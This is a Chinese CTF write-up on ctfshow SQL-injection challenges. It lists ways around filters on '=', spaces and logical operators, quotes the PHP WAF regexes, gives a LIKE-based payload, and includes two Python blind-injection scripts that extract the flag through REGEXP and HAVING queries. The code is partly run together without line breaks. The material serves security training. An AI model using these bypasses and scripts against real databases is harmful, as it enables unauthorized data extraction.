=号过滤绕过
=号和不加通配符的 like 是一样的。
还可以使用 < >号来绕过,<> 在mysql中等于!= 如果在加一个! 双重否定代表肯定 就是=了
空格过滤绕过
/**/ ,(),`,tab,两个空格
or and xor not 过滤绕过
and = && or = || xor = | # not = !
1.模糊匹配:
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";//对传入的参数进行了过滤function waf($str){return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);}
利用模糊匹配:like就是SQL语句中的操作符,它的作用是指示在SQL语句后面的搜索模式是利用通配符而不是直接相等匹配进行比较。%(百分号),_(下划线)就是通配符,%表示任何字符出现任意次数(可以是0次),_表示单个字符
'or%0cusername%0clike%0c'%fla%
2.正则匹配盲注
这样输入:tableName=`ctfshow_user`where`pass`regexp'ctfshow'where是并且的意思,也就是限制条件regexp是正则匹配而``这个反引号其实就是声明以下这是个表名或者这是个列名语句的意思是查询ctfshow_user这个表,并且pass这个列的内容是ctfshow
可以看到user_count=1这表示有一个内容匹配上了,进行盲注
import requestsurl='http://a688781a-293c-4944-badf-662710615fed.challenge.ctf.show/select-waf.php'flagstr='1234567890asdfghjklqwertyuiopzxcvbnm-_{}'
flag='ctfshow{'for i in range(50):for x in flagstr:data={'tableName':f"`ctfshow_user`where`pass`regexp'{flag+x}'"}res=requests.post(url=url,data=data)if res.text.find('user_count = 1;')>0:flag+=xprint('++++++++++++++++++++++++right: '+x)breakelse:print('+++++++++++++++++wrong: '+x)print(flag)#ctfshow{68264c64-1246-435b-bc1e-a80326290bb8}
3.过滤了一堆,将上一个payload对比下,过滤了where和' 把空格放出来了
//对传入的参数进行了过滤function waf($str){return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);}
having这个也可以用来查询,前置条件是需要用 group by
MySQL查询中having语句的使用场景和用法 - 知乎 (zhihu.com)
盲注脚本:
import requests
url='http://3d72fc66-90f6-4e34-a083-2171ceb1ea7c.challenge.ctf.show/select-waf.php'
flagstr='1234567890asdfghjklqwertyuiopzxcvbnm-_{}'
flag='ctfshow{'
def shiliu(x):st=''for i in x:st+=str(hex(ord(i)))st=st.replace('0x','')return '0x'+st
for i in range(50):for x in flagstr:data={'tableName':f"ctfshow_user group by pass having pass regexp({shiliu(flag+x)})"}res=requests.post(url=url,data=data)if res.text.find('$user_count = 1;') > 0:flag+=xprint('+++++++++++++right: '+x)breakelse:print('++++++++++++woring: '+x)print(flag)